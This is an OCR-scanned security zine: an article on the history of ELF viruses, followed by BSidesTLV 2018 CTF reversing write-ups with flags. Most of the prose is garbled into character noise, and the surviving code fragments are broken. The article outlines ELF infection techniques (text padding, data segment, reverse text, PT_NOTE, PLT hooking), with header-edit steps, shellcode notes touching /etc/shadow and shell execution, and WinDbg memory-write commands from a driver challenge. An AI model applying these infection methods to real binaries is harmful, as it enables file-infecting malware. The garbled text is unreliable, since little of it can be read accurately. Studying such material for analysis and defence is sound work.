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The History of ELF Viruses

x+n :L‘-Y

S | & S
Txs L X ELUFS X aw absd w4l X L X (% I x s s € Ty Xs T
v oL T e v oL, s e s EEF A e X s st X s, S| g x s

. ELF Executable Linkable Formla?1- -~ |, _ dexrddeid ¥vi* ., ~ *: 17

Ll e e goxst s o L sed 1% Ix L AX 1< DL x|

¢y x L D LTSS xS NS st LI | h X "X

IX0x " kL L ELF A R Ooes X T HAS X, w {{ s . Kas s b

R O T S I NS - N AV S VR B IR
DXooos L X ] b Y URiX f x| x XX s x| 8§

Zs<J,22<J,,A|_VJ),,:x

A > ~

s L s Lw lnlloxgdlX sX o ¥Ts QWSES. _isx 1, TAVindows X -

11 s, wxss X x4 1% hedderr 44 x " 4 _ x

ELF header

Program header table

text

.rodata

.data

—

Section header table

[https://en.wikipedia.org/wiki/Executable and Linkable Formatx } _
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Fdoed ]

L. e XA s o xQ0s o cx LX) vk K s o xTs
XX e XX, b 4. «(SilviosCesales S, X L ELFAA L ¥es 4 X L ] X
P N I r 1 7« proof-of<toncept e b 1 FBLRGAL S < XX e O
SLd 1%, Tex s« | X o], xxX x4 ]y x4 X DX e
x LXy % 1o _ 1. “Shellcodal ~ L XXX TEXLY g 4 S Cs  Ix{q_x
s 4., T X x4+ s { <L X ox o

x4y 1.1 N X T 0 X S (b B %< Lp X T XIXG L]0 s L Dx 1 X« N
X L) .S X1 xXx1 sy} &o(SharedObjects)d « * « 1 I X« Do, Cs DX
J 1, x ., "4~ s ¢ Pyt el 11X

?F 4 X7, oxs XELF X x WX, { X

5,,“'|~ |-1”+1"XAV X”-IH\ LAX>X SV =

Lo 1 flow=x _ s xy 1ELF | X x < ¥ X 4 x| 4T x e boxo o s . .7
11 s+« . A s L X Axs LS «~ S% 4 4 x * X

~ AN ~ ~ o~ v a v o~

point A (arbitrary, depends on the usage of the injected code)

Injected code

Jump from point A to the injected code
and getting back to point A afterwards

[ L *x ELP v &4 4, s v d-xSH v« v 4, 144" 1 v 4 1x . s

s ¢ X sprogramihdades - s 7 7 15 XS T 40X

~ ~ ~ ~
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1], 7 x. 190 1 4«x  “heatleks SX o «p 45 F4n T XX s BXY s

a ~ ~ v o~ v o~

X, 1S T 47-header _ L ! 18T f s T b4 0 xq

1 . -program header 1! 4 o 17, WYy x "sg) 1T L. %x s T xos o L4l ys
Lo x ] . ,_Q.| .|,,>Ivyxx“vs~ 41 4s 7. 4qs. -|="vvqy><v sA)‘ x 1s L X I x (s Con

(LX R V-I“ Ax s .4 .

q XA, | « " S . 1 . 1y s « X S s " X x

, 17 I x s LA F o o s OB oy X L X s L, 0 v qs
X x X P Ix o 1. FXs R e A . 1.4+, . 1.
s L DX 4 X, . s X BGEOLXx vl X0 WASDXS 5 X X " s ¢ S uw
X, % xxs | % « » X ]~ X 4 x L oDoXx
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X4 X v X 0 Y4 os o x4 X 4 s X

= X ] ¢ X ,_-|va Loxoy oL L XYy X s \,¢xv~ Ix“s~ « X S s X
17x ¥y q{s 11" _ ¥ | ELRE Y X T x 8] &S IO SN Lo s "4 1 S s |
.~ L. ,rPatdingly ;s _ Joxx. _ " rdAd4« ,r7 4 1Xx 5 x4 X
Ll T, o T Al s

Tx o, 1S T A4 AT xS "Paddifgy XX b AU AT XX TR (X x 1 s
1998 17 o x4 X4 0 A sest e v s v M

Typically , the data directly proceeds the text which
always starts on a , but the data may not. The memory
layout a process image is thus.

key :
[... ] A complete
T Text
D) Data
B Padding

[TTTTTTTTTTTTTTTT] Part of the text
[TTTTTTTTTTTTTTTT] Part of the text
[TTTTTTTTTTTTPPPR Part of the text
[ PPPPDDDDDDDDDODD Part of the data
[ DDDDDDDDDDDDDDDD Part of the data
[ DDDDDDDDDDDDPRPP Part of the data

pages 1, 2, 3 constitute the text
pages 4, 5, 6 constitute the data
The resulting segments after parasite insertion into text
padding looks like this.
key :
] A complete
Parasite code
Text
Data
Padding

[TTTTTTTTTTTTVVPR
[ PPPPDDDDDDDDPPFPP

[ Zx\_L=s’<va.|_|Lpavddmgs~L§vLI’xys « 1 s s L Xy s s T X vy
XL xex b R B S N (N I SR I IR I NS SR R | Y
e E X Em xs x) o x T Losh Xs X Tixx, ] € X " Shellcode | L ! x ¥

§ 221 x <329 { ¥ 4096 x "page- ! ) S~ Ss_ T4 _ ¢ s{sq{_ (s.. A.
(B4

The History of ELF Viruses
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Loox X
" ML ! xsegctionheaders 1 1 ., - 8! _is< 4 lehdrx_ ¥ {1
phdrss L L~ x X 2
(PF_ R|PF. X=xys « 45 « %isx « |, sS4 7-4s < #1¢ ¥, {1.¥_phdes i« 17
FXOL 4 XEX 4 cylsx ]
A« He ¥ 1 Yhdr
« 1. F X ys | xpyfifeszi «L 41 ¥ "
« 1.8 X ys | xpynfemsz <L 41 ¥ 7
X A Lphdre b ox >
" Mo ! xpyoffset: <L 41 ¥ 7
s** x T -isection headers ~"x M4 4 {1 3%/
sshdrss o L~ x * J)
1, ¥ oy T x o, ghdes 0o~ 17
A ST B TR I R (1 |
+ 4 x1"_shdr*
-|"v(yxvv"<|_ X"(‘:XVSI-~X~J"("*‘2<5*5\ J"D“'I”"\R,‘J-S.,'- | xsh_gize' o4y
(s “shdrs 4 L4 T ¥Y™xx o 3w ] 1, <18
X i Lshdye box X |X
"ML ! xsh bffset: ~L 41 ¥ 7
q X XL 5y ¢ v 1 R RO N IS S o |
Data Segment Infection
. Data Segment Infection s " x | = 4 . x < s X, <« | T
.DEP 41 _ 1 _ 17 .1 x s x4 X4 A
Ll es e XL wXs D x s w4 s G T XY s e U s ]
s ¢ s 17" Y s
-s DOsC s xS 17« Yo 41 ¥ys g s ¢ . X « s s Lo q
. vxs o A bs o0 e x o X1 x 7 {fsectiod - .bss |
17 0 ok xo ]l oes Xy X s e L Tspld s T Xy X X o xoy |
17 ] x s
sections | DX, S X b 4 XF XL XA s e ] XXX
Ibss +  ~hedder | _
The History of ELF Viruses
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CeSOX XXy sysqd k& T I JyxsT ] s

As anexecutable Seament !

Injected code (as a part of the Data Segment)

SES XA S g AL Xy e ¥ s 1T e ) AS4ise1l” ¥ o, 4 1 yhdes |

- ~L 1 1.4 A section header *

s 1. H¢

1. X X | 5 3%Y9¢.sq” ¥ Xpood %o X760 x o1 X ‘EO"

« 1. €% 49 xgshofff < 1 lehdrx_ v

phdrss v~ x * |

~ 'I ., F X NS S~L | XpY_memsZ: L _I | ”
(PF_R|PF_W|PF_X==J)Wwx ~-5% « phdr.

.

« 4. F X ys | oxpyfifeszi L 41 ¥ 7
¥
X

:bss L _section headess : «~ . 3
« 1. f X :!_si xsva)d |_“-|~v . Xiw® { C|”

s** x T -fsection headers ~"x M-idr 1 1 &*{0%//

x Wx Y K § ¥, *x o x X . gection headers _+ X _ 4
~ - S xs o |oxlo s

W

10
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Reverse Text Infection

. ReverseTextInfection® s 7 x | 1 s s -, «s ¥yXo xxsq X 547 x {7l {s
.+ x4 ., groofof-condept «~ , 1, + oL . xS , S 4 xbxs T R S
S L e A A S AT X ))s L T X ] x

_(Zx”x:"s cx 1 s Lol

oot et el s sy it o xy 4y s s Y

DX L. X D Lx s, x4 X sU{os D4« x 1., {aignment* x i | s
_v 1 x4 D x40 %0k3000, + {/proc/sysiviimmap_min_addy x4 7 . box o oX
1321 4% 1. & 17 WA L s” 4 qs s 41" XX s

B4 DX L. % 1 <1 17 v L sT 4 15 I"]sOxBOME0Q0" X X . o
.0x400000 « 1

Zx(]xjf()ooix'|> L1 s s X x o0 ] s Lox oy ] . X S « 1. ¢ s L
Cs 44 s T lox s _ox. v 4s (L 1BMEH 4 I Xehdrs $ L 4 4x ! MY
s A i s AT s e e Ty Yy s oy s s

Injected code (as a part of Text Segment)

The History of ELF Viruses
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1 xs

"ML 1! xalignment. 1 X w8 Xyl B R oy 9 x v { il xff
«~ 1. F %49 xeyshoff: <1 1 lehdrx_ ¥ {1
« 1~ F %X 49 xeyphoff: «+ v {1 lehdrFx_ Y 12

phdrss v~ x * J)I”

CRF_RIPF_X=)s « 45« 3isx v 1, shq 148 e Yoo d Ly phdres @« 1
«~ 1. 8% ys | xpyfifeszi «L 41 ¥ "
« 1.0 R ys | xpymemsz «L 41 Y7

« 1. 8 Xy 9 Xyp vadde, ~ 17
«~ 1,8 %49 Xyp paddr, ~ , 17

« 1.8 %49 xpyoffset: ~L 1 11y "<41~ 1 « _ phdr. b x * ¢
s¥* x T -{section headers "x FLi4 1 4 4+5:%4 **/ |

ishdrs o~ x X 4"

AT X x| o8 I i1 st 1 FShe ©X xXds Ky X« 4shdry b x * |*
« 1. F R 49 xy X

» S xS s Isxfea 4 1A fishdr, 4, 5|

1T, e YL T LS X s X g

PT_NOTE Infection

I x o Dow LSS X g s Ixsy X Dyx xSl s Tx o, T x Coox
ELF , *x <« o I PT_NQTE% *x , «~ 17" ¥
programx " . x * ., x4 ., 44 _ X« s program header v ] 1, 1 ISc o, yxxb 4
X lxoorxo Ly 0 ", oy x 1 x L x PT _NOTE ¥ s | _thédder -,
X X . X s L] ox . s s 17 ¥ s I S
(s ~1~ Ce xS, o8s x ) X L s , “PT.LOAD.Y X~ 1 "4s” %" ¥
bxow xS . e T xSy A
SXx b e P&y R ] e T X PTONQTE 4 VXY
i, ,x«s o« s 7 1] SGhelldoder X 4 1, XX ] o 1944 X L ] X
S 1s o4 oy s s e B o yX x Dok oy {7 oy s {X

entry + 1~ « X {PT-NO¥E ,1L"LVJYVX |--|,\A¢{9(”x0(”g-|+s~u_ Y ox X s 7 ox

xX“x X " _In y

o < v ~ v

The History of ELF Viruses
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i« s

1 x "G x| s Xx s ;o X

njected code (instead of the PT_NOTE Segment

(p_align = X ~ 14570 _¢1471s” , ¥ x | *>alighment. _ X - I Is Xives _

S

S

Apalign $ 1« M wq{4s X *x pluaddr «s "

;phdrss « .~ x > 1)

s {1 s I8 v )

Srd e, Xs o s o s ]

(p_vaddr+p memgz 1« ! s 431 {%x *x I F
(p_offset + p _fileggl ” _ ¢ 1« b sf 4 x§  x &

‘PT_NOTE. | ¥ phdss © <. : « 3
PT_LOAD p_type: s * 7
st~ bs dd4¥xid | xpaffest: s ”

(PF_RIPF.X==r%H " _ ¥ u X+ _ .45 x

*s X x T _isection headers -"x M. 4 4 1 4+5:X4 **/ |

« 1. § X4y 9 X¥e shofft | 1  ehdrx_ Y #

<

;shdrss o+~ x X 5"

S P I S I V'S 1 IR S IO S O N

48R s 4] Is1sq . isey o {4 Bection, 1 |

S HE WA XA g PGS xS s )]

13
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5 ¢ s
i ~ - : . x| L
1,1 s A B N T T A T x "L . 1+~ s
14~ 1o X e msqec i o Txdd T 3L L, T xolo L X 14
L N S R T Sx1 4 1T+ 1 RS 17 .17 4 XX
SO x mX e T s X .S 1¢ 1~ <L 1 x>l
4L« s .4 <1 ¢ xShdllcodes , 1 xxw. ¥PsxklL  « XYL |
SR R
X, 17, Lx oo oxs x4y 4 x4 o A
]ox X b x4 SRR I B 11 x s Shelleode s 4] >« 4x 41, ¢« -+
44 x 1 _ox X kAqL T 0 s x4 v e xs YL X o
X s ox 1 v 44T X s Y p d L X
-] O I L s ., "7 I , X X o X . X o X Xy L 1L X ,“,,f.‘x-|
Xl A x s 4s 4« x { x 1 Ipssitionihdependentcode™ | 1 s . s 7
~VZ~sL 1.1 <4 .« X s ,ZI,,>" Zx~.| L, X X% F S L~ Z~ny L
L x 14
jmp ender
starter
starter
Ll A O L BN S O L N Nk L AP o N P
x x RO Twdx. 0 v d Y4 L] , S ¢ f Shekcode _ 1 - L X~
111 1 x s " 1L x - F1 X< <« x 1 _Shellcode” x_* 1+ 1% Tovt A
insmod : x _ . x I 4. xs Jetc/shadow* __ ,s1 ~¥Ix*I | < x Sogket:T+x 7 4T s | X
L Xox b exeev)d ¥ n Sshefl T C oL b X S RO I Pl Xl S e X
L 1 X R I T T O N

The History of ELF Viruses
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1. dflewXs XY L s x . . x_*Shellcod® < d X X AR K, K

Ll . 17 1 papa*rpushadx . ~.x 4y v 44 4 4 _x 4 __ L 1s
T _es e 40w is  H ox s 4lis X d gy v 4.1 dY .0
x ¢ s ¢ s I x (s e oL ,oxx“s ] x X -|,,x“v I x o va,,x
position = X { s * 14 x 1Shellcodé&s 1 -]+ xx"", I ¥y s ] Pl x4 X , L1

r 1 ~ « indepehdent ¢ode

Pt~ xiSuDpeoded D x 1, s 1A XIS At e x4 L A X" 4 ]s Lox

~

s X os v w0 s 8 XAXBERS S, X LS X B s T X s s X

:push+ret - ~» ¢ %
push $<addr >
ret
encoding is \ x68\ x78\ x56\ x34\ x12\ xc3 (when addr is 0x12345678
sake of the example )
I x oL X « L 1« XS, _|>C”x'H”x\-| v e IS ss O X X 7 L vx,,-|xs X

? n _I ” X I C n S

e Ox s o bxeopos 47 1. s 14 % Dwotkaroundd © ! 4 Y s

LX L, ] . s cx 1 s X x s , 4" I x s T I B X . A x "
Ax 7 Dxo, N

LS T s Tld4s, Tx Teas  LTIX sSET g Moox XX Gy

'x o Hieok v 1 0 __1 S g8 AL A4 _x A _ X1

LA B
I x & s 1 L x " L X X s . = . L .1 1~ Iox
\_+S s | x o LJ s ¢ l_*"11" S N =‘_'J ,-I%"XC]SX X.lk"”

X oosbox oy -Opdodect X s % X s X

T T ST B I B (P X 41 ] .«xs x 1ox o

10>« 11 TR T x 44«
FA x> 41T xx L, s 4s 4 T o xs X x D px o s x4 ) L
10 e dd o p Al S0 X0 1 s I «recursive travetsal dlikear sweep - 14 _ X

The History of ELF Viruses
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1« X4 X% L] Xy FAd1T X x L X Fod i el o A5 ] cpd LX o Tx X

~v A< v

(s~»>xos (1 o« x4 s EUF1 « ~» s s

~ ~ > ~

X _|Nv s S . "o Lo non ., X . S x | x o Lo ] X « S . o X

Y T X x ] o e s o R T E S T T NNTY, T To B SN "

cl . P4y s ] x«PICsX "Bhelfcodes * - xs{ s | xxy 4o X, S\
JosA4 o 0 1o x bl e v 4 Xs Tx 4y

e entrys 4 x " 4

~

ehdr e _entrys 4 x 7 4 < ds o, 0Xx s xHXOs BG5S 18

X ds . 4.5 Opcode kA s x4 114 s T wx 1, 4xs D Xx!
Fs .o . ok ddr 1 v d o x4 0, A1 4 s s Do x X
X, 4 xs S DX LY L X X (S ol XXX UX ] X X« Lo )oLr SX s, ¥qA

PLT Infection

L DX XL IXT X b, e X ], x O N S S N i , i
. Rrocedure Linkage Table . PR {4« v s+ 4.« 41
x o , S % X q S . x C N - XX CBLEAS .S X % s ¢
1x 10X PLHR AL S o B T x L, O s s T
(gdb) disas puts
Dump of assembler code function puts@plt
0x08048340 <+0>: jmp * 0x804a010
0x08048346 <+6>: push $0x8
0x0804834b <+11>: jmp 0x8048320
of assembler dump.
5 X ,, | ” L
s s 4

The History of ELF Viruses
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L P Us X x> 4T XXy R R A U B
, 17 x A O VR A S I S S B BN B *ox T lxe b
FOl 4 X s, xmixe b e Xy x ¥y xs
S L Fod X s . X "

P X

71~ | 7 _x {dext4de ELF Executable Linkable Formiat
https://www.digitalwhisper.co.il/files/Zines/0x47/DW#2-ELF.pdf

1998, X x 1 .. x & 4 X UHix ELF Parasites and Virus|
http://ouah.org/elf-pv.txt

S 2o 444 s, X 4% WX Viruses

https://www.win.tue.nl/~aeb/linux/hh/virus/unixviruses.txt

:2016~ « X .4 "eMfmastef' ” + d{learning Linux BinaAnalysis 1
http://index-of.es/Miscellanous/Learning%20Linux%20Binary%20Analysis.pdf

: Pymsasid3, pfalcon, git |
https://github.com/pfalcon/pymsasid3

The History of ELF Viruses
www.DigitalWhisper.co.il
17 2018 1 | x97xTx 4 ¥



https://www.digitalwhisper.co.il/files/Zines/0x47/DW71-2-ELF.pdf
http://ouah.org/elf-pv.txt
https://www.win.tue.nl/~aeb/linux/hh/virus/unix-viruses.txt
http://index-of.es/Miscellanous/Learning%20Linux%20Binary%20Analysis.pdf
https://github.com/pfalcon/pymsasid3

Technologic

BSidesTLV 2018. CTF 4 ~» ¥ - « — X,

(revirtux) 4 " ~ dMON* ¥4..x¢ (e T

DX 4. x Y 1399% ¢ 4. % @ BSidesTIVL * ICTE _ © x .~ 1: s _44«:is {7 x{

P e Fooooo -flaghs v ¥d s 11 xs s 2R TR ST N BT SN
X Lv b de Y e X T DX T x ,l s Doy LT
DX s L X e X s AP X0 e xS

https://www.vulnhub.com/entry/bsidestlv2018-ctf,250/

PRSI
Slx o { =y LY . Lol X DX 4. ox ¥
Category| Challenge name | Score Category Challenge name Score
Misc DockingStation 350 Reversing Into the rabbit hole 500
Misc C1337Shell 350 Reversing HideinplLainsight 750
Misc PySandboinsane | 900 Reversing Witflol 1000
Forensics SharedDirectory 350 Crypto T.A.R.D.L.S. 50
Web Redirect Me- 150 150 Crypto Crypto2 350
Web IH8emacs 150 Web IAmBrute 350
Web Creative Agency | 150 Web PimpMyRide 500
Web I'm Pickle Rick! 150 Web Can you bypass the SOl 750
Web ContactUs 250 Web GamingStore 1200
Web NoSocket 250

BSidesTLV 2018-CTF 1 ~» ¥ i x .,
www.DigitalWhisper.co.il
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https://www.vulnhub.com/entry/bsidestlv-2018-ctf,250/

Into The Rabbit Hole (Reversing)

Description:
This challenge aims to test your skills in reverse engineerimg flag is combined with 8 pieces,

which together assemble a meaningful passphra3ewnload this standalone (executable) file,
and try to catch (build) the flag!

Made ByAdir Abraham

XX 4L

xs o] I xo 3 _krdgd o ¥yxb g Dox s 4, 0 xHrace " X L
X X X s Dx €x , s i s S \SUFCI"hp 20T X X, )X 18 .
S « X X s s e X

Cxss o oLltfacer X T AT XS 4. P TLIRSTSX L Y X Y Loy DS x|

° > ~ ~

ToxLdd S X X O X8 D sy strnepys 4 v T o x DX

x7fffffffde70
x7fffffffde7e
x7fffffffde70
x7Tffffffde7e

XX L8P X Yt X X 84T Bl s T X vs:lxx NN T > L

~ A ~ o~

St dp s x .Y d cdllracer 1T, Scr AT X T XAl A4 s

~ v ~

S(LHAX B AL Jrs. D {4 X661 X ] X sirRcpy

flags © «0 X <1)x 7 .4 ¥ ] «-base64 x ¢ x8XT | X {

~

BSidesTLV{We_gonna run_run_run_to_the cities of the future, take what we can_an
d_bring_it_back_home. So_take _me_down_to_the cities_of the future, everybody's
happy_and_|_feel_at home.}

BSidesTLV 2018-CTF 1 ~» ¥ i x ., .
www.DigitalWhisper.co.il
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HideinplLainsight (Reversing)

Description:
Is it possible to hide an encryption algorithm in .NET? Or should one resort to unmanaged code

only?In this challenge, you will learn .NET reversing and handle some nasty IL bytecode in order
to get the flag. Are you up to the challenge?

Made byOmer Agma

XX 4L

oo 1L Xse - XK XS Px o x ] NET _3x X ¥ adhSpy § €1 1+« Xx %,
- CliLs:_ 1 LNET X & « « q{s , o € Skxoos S R I o I
s " x ] 0, Clks ¢t Yy x4 xS vt TINETS T T A T A s
N ¢ < X
T X, .
s 7 X5 | 1x DdnSply A L1 X LG Y L XX (s S

. X S 'X“b)?teﬂarray’si’*~b I x . oy x =]

o] ()[®

BSidesTLV 2018-CTF 1 ~» ¥ i x .,
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S boSh el XYY ITis X D x d v R Uk (s 1TH TSI R DS | L

10T X )K€ x 4]

Lo ¥.x s s Guid 1+ 6 1hash % sseed +31200 ~ 4% . LAY Ccxs

~ ~

Ll Txox 4] , 4] s Lo s | dY . s . qd . x 8125 «H 1 & N
L O | I O T S ] Fdos Y1114 2o x L322 Yy x 4T 1S e x {s | sy { ¥ X s
RS Srd o etxds T4 s 1BAT78 1isx s, XK i Jarfay % X o, X7

S WX ] .. x s 479 .5{. HasByteArfad X S 1 C 411 x"Clks S 4" ] s
4. s CILTRA L X 4. s

L LX 188192 xLbyte ) x 41 . v A l. 0 ixAs L 4Ll yx s 407X
201 - x . x )y s s 4. s o« llasByteArrayarray f !0 S AR A TR LY o w Koo
STt s 0 bxos e 4 Ts L ibde” XTI X s x 9060 T A4S LS
e O D i xS s Gl LS g T LA dse Y TS sEox T T s X
:"Show Instructions In Hex Editet" - . x | CwkX  >x*T s =+ 47

1+  héxeditors o+ -~ * 1 s e T X LY e XS S X

@ Method Ox

BSidesTLV 2018-CTF 1 ~» ¥ i x .,
www.DigitalWhisper.co.il
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Technologic

b OX28 « X S T X i,usC Ioqlxxsx (Ox2B4AL K P4 S X XXk 41 DX ., xss

~ ° ~ ~

S« EIBEs Xi. . XS L] s A ”'I“‘:ﬂﬂS: Pox

| 0x28 call <method> Call method described by method.

sS40 T LT B I -1 FTER N RS NS B I o) | TS S TRt

: Edit Il Instruction" o |

don't get that.®

F 1 OXIBD .« X s DX v, X S Ox2A L k¥ % ‘.Z">Gv-|’-|ivv Zx\,,xss~ S «
- VX X L ,
il =[ 32, 70, 76, 69, 127, 10, 22, 11, 22, 12, 32, 0, 62, 0, 2, 13, 32,0,0,0, 1, 19, 4, 32,0, 6
4,4,0,19,5,22,19,6,32,0,1,1, 2,19, 7, 22, 19, 8, 43, 49, 17, 8, 31, 11, 48, 15, 3,17, 8
, 3, 142,105, 93, 145, 3, 142, 105, 88, 210, 43, 8, 3, 17, 8, 3, 142, 105, 93, 145,19,9,2, 1
7,8,2,17, 8, 145, 17, 9, 97, 210, 156, 17, 8, 23, 88, 19, 8, 17, 8, 2, 142, 105, 50, 200, 6, 7
,54,18,9, 8,54, 14,17, 4, 17,5, 54,8, 17, 7, 17, 6, 54, 2, 20, 122, 2, 42]
il =" .join ([ chr (c) for cinil )
open (‘'wub' , 'wb' ). write (il )
P X v . XSS Co N R 10 ] 125 ¢4 kb sX % JIs o psX X b L XS
114 L b4 hexeditot s wub Gwsd DTS00 € DX pxl st L X { L x

A CDX28497 X x (4T L X Lxssox X fs | CHEX T x XX

N v ~ v ~

.Ctrkv

s v 4y ZAthpySZﬁ_AX“V”\X, LoXx I 1 s X+, X s'S - 1 X X .S -

[1 args)

Main Lo DX v, X s s M X 7 oo | =xxdn$py~ ,,_1.|"-|x".|vyxsy,,s\Cs X ]

_byte[l x4 11 X ¥ ., o« afg’s F XX Jd oxsx s §x ", x] el o

v ~ ~ ~ ~ > a A~

BSidesTLV 2018-CTF 1 ~» ¥ i x ., .
www.DigitalWhisper.co.il
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https://en.wikipedia.org/wiki/List_of_CIL_instructions

Technologic

I xAltEnter X Main & _  ~ 18" TXi #5174

>

L s 1 ‘Sigrature v« _ 4 X ~» L

~ A

Main Signature Params Generic Params ImplMap Overrides Custom Attrs  Sec Decls

Systermn.Void (System.String[])
Flags
[ | HasThis [ | ExplicitThis Calling Conv Default - Retum Type.. % Generics 0

@ Method Parameter Types

Type Genericlnst

System.5tringl]

Cancel

74 X s Isxlds, o xs{{ 'y ss

s yte]] 4515 L X

Main Signature Params Generic Params ImplMap Overrides Custom Attrs  Sec Decls
System.Byte[] (Systemn.Byte[], Systern.Byte[])

Flags

[ | HasThis [_| ExplicitThis Calling Conv Default  ~ Return Type.. # Generics 0

@ Method Parameter Types

Type Genericlnst

Systemn.Byte[]
System.Byte[]

BSidesTLV 2018-CTF 1 ~» ¥ i x .,
www.DigitalWhisper.co.il




[1 ilasbytearray)

; guid+t)

lasbytearray[guid % ilasbytearray. = 3 Jilasbytearray[guid ¥ ilasbytearray.

ray[guid] © num);

yName != array 3uilder != methodBuilde j != signatureHelper)

Tarray: 1 X x g i 1 L
s - x array - cilasbytearray* atrdy) ¢ 1

X X | , S Fd - X s e

CH vt .

wabbalubbadubdub

[] giveflag(byte[] enc_arr,

obj = 33620224;
i=0; i < enc_arr.Length; i++)

x ]

N O T B T B B
CIE* {1~ %X« _ sl xS $”
" s F -I " 1 ’” S ~

[] code_il_arr)

num = )((i > 11) ? code_il arr[i ¥ code_il arr.Length]
(( )(code_il arr[i % code_il arr.Length] + code_il _arr.Length)));

enc_arr[i] = ( Y(enc_arr[i] * num);

enc_arr;

Main( [] args)

[] code_il = [1]
[] array = (]

e.WriteLine(Encoding.ASCII.GetString(giveflag(array, code_il)));

le.ReadKey();

2 4

BSidesTLV 2018-CTF 1 ~» ¥ i x .,
www.DigitalWhisper.co.il
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Wiflol (Reversing)

Description:
Can you get the flag?

Made byKasif Dekel

ooe s p 4Ll
1x D47 s WinOBG+VirtualBex x  , *x "t * {4« _ . Xx<s (DA 411:_1x:4"
Sosxq 1 LY X X o o ow X s Windews™, W XA x| Lo, x LX)
T X,
Windows s o s's Drivie. xsE " xx 4l §7 s L sux s ],
. - DrivexEntrys 1 1..RE "yxx | « X s x DrivetEntry* {47 x0T oxx
19v. < s_ .44, 1 s \\DriveA\Nulls {.-_lO%ttk handlers 1407 x
Fdos X v buffer-ss 4 *¥ L { xS « theck_sometlsing_thénx print_flag , "
) X
flags N I I
357| RtlInitUnicodeString{RDestinationString, L™\\Driver\\Null"}:
358| decode_arr1_and_al_until_a2(&DbgPrintStr, 9);
359| some_page_reg_value = _ readmsr (BxCO0080882) ;
368| driver_page = find_driver_page {some_page_reg_value};
361 qmemcpy{8v14, "This challenge is =fully= compatible with windows 8 and above.\n\n", 0x41uig4);
362| sub_148883CCA{some_page_reg_value, 12i64, {int =)1}):
363 w1 = B;
364| w3 = ObReferenceObjectByMName {&DestinationString, 64i64, @0i64, 8i64, IoDriverObjectType, v1, 8i64, Bdriver_object);
365| print = save_kddll_and_return_print{{ intca}driver_ page, &DbgPrintStr};
366 {({void (_ fastcall =} {char =)}print) {Buvid):
367 if (vi>=8)
368| {
369 device_ctrl_backup = driver_object->MajorFunction[8xE];
378 driver_object->MajorFunction[8xE] = {PDRIVER DISPATCH}check_smth_then_print_flag;
371| }
372 else
373
374 v3 = -1873741275;
375 }
376 if { v3 < 8 BR driver_object }
377
378 ObfDereferenceObject{driver_object});
379 driver_object = 8i64;
388
381 return {unsigned int)vi;
382}
s.x.s I x. ¢ s.q{.s obfusdated T 1" xS x ., Ts s%,5s s {]
X € s
for { 1 =8; i < 8x19; ++i )
w({_BYTE =}loStatusPtr + i} = {{"{{i = {{{{{{{-{char}™{{i ™ (i
+ i
7000 T (T 0 T (T T (T = ({_BYTE =)YIoStatusPir + i}
+ 6@
- 54) © BxIE)
- iy T oexIn)
- 79))
+ 1))
+ 1))
- i)
- 28
- 1)
+ 1)
- 1) " 8x36)
- i
- 183) * BxE6)
+32) " oBx3m)
- 1))
+ 1)
- 12
+ 181} ~ 0xB1)
- i;
BSidesTLV 2018-CTF 1 ~ ¥ i % . o |
www.DigitalWhisper.co.il
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https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-1-ExploitKernelAndPE.pdf
https://www.abatchy.com/2018/01/kernel-exploitation-1

Technologic

Jbuffer-s  * TC X~ x0T chdffer 3 x 7 "4 ss o 4 b x4 x 7
XSt e o huffer” A 8T o ds 1 b x4 o x TIxx g sy
1x 7"  Abuffer-s4 " o+« o x =¥ d{lbBrutefree o, f 4 X

KTAAT L X Shuflerss X . Wi ALdYs sk s D

A

| IC: \ Windows Temp kd.dll.bbbb %p ;g

as /e fuc kthat PROCESSOR_ARCHITECTURE; .block
{.if($spat(@"${fuckthat}","x86")==0) { .writemem C: \ Windows Temp kd.dIl %p
1?%x;!C: \ Windows Temp kd.dll.aaaa %p;g} .else {.writemem C: \ Windows Te
mp kd.dll %p 1?%x;!C: \ Windows Temp kd.dll.aaaa %p;g}}

'save_kddll_then_return_print4 * « ~ « S L S 4 AT ¥ x X Xy 8T ox f,s 0 Cx ]
39| =xor_key = BxFDu;

48| vi14 = @=EDu;

41| w15 = 8=DDu;

42| w16 = @xCDu;

43| w17 = 8=BDu:

44| w18 = 8x4Du;

45| v19 = 8xD;

46| memset{Bv20, B, sizeof{v20)}):
a7 for { i =08; i < xored_len1; ++i )

a8 xored_arr_1[i] "= ={B=or _key + (signed int}i % -8);

49| for { j = 8; ] < xore_len2; ++j )

50 xored_arr_2[j] "= ={&=or key + (signed int)j % -8);

51 for { k=8; k < v8[6]; ++k )

52

53 if { t*memcmp{{const void =) {={unsigned int =} {viB + 4i64 = k) + v23), Buf2, {unsigned int) {v7¥ + 1)} }
54 {

55 print_func = ={unsigned int =} {v12 + 4i64 = ={unsigned _ int16 =} {v11 + 2i64 = k}} + v23;
56 break;

57 }

58

59| decode_al_until_a2{Runk_148887808, 8);

68| v2 = find_driver page{some_page_reg_value):

61| ={ OWORD =)sscanlf = decode arr3_and{{ int64a}v2, Zunk 1406007888} :

62| ({{void {_ fastcall =}{char =, _BYTE =, _BYTE =, _QWORD, _BYTE %, _BYTE =, int, _BYTE =)}sscanf) (

63 Routput,

64 arrl,

65 xored_arr_1,

66 {unsigned int)xored_len1,
67 uzed_in_memcmp,

68 xored_arr_2,

B9 =ore_len2,

78 used_in_mencmp} ;

71| run_in_debugger({ int64)qword_1408858D8, { int64)&output);
72| return print_func;

73}
L) A~ H4 0 x4 x v gsadf K Ll b e S X R s x Iy x X
_WinDBGX S { . «”"x By s, X Iszs.|,‘ « 7 X S s , ¢ 1xs P
1+, _s Cxo o wxGredsart 1/2 4X .8 b s T x40 4 x O 17
s X 1 as Lox dil e el 4SS L X G T Y s IXBr_key ! xpXiiss
X { oW x4 X861 XX x6#” L S ] .« LWIfDBG s 1

¥ bpde X« x 1« 44d4{ . BbbbXaadax ~ xT {47

BSidesTLV 2018-CTF 1 ~» ¥ i x .,
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Technologic

:"check_something_then_print_flag"1 * « ~ « S L

s A3 "Ixx

'XX)
> A

S T CHEO

UserBuffer = aZ2[1]. Tail. Overlay. DeviceQueueEntry. DeviceListEntry. Flink;
if { LODWORD({UserBuffer[1]. Blink) == 8xCB7FCA84 )

IoStatusPtr = a2->IoStatus. Pointer;
UserInt = (unsigned int)UserBuffer[1]. Flink:
if { TostatusPir &8 UserInt >= 8x19 88 UserInt <= 0x488 )

memset (&9, B, Ox1Buicd):
qmencpy (&secret_param, IToStatusPtr, Bx19ui6d);
for {1 =8: i < 8x19; ++i )
=({_BYTE =}ToStatusPtr + i} = {{7{{i " ({{{{{{-(char)™{{i

{i
+

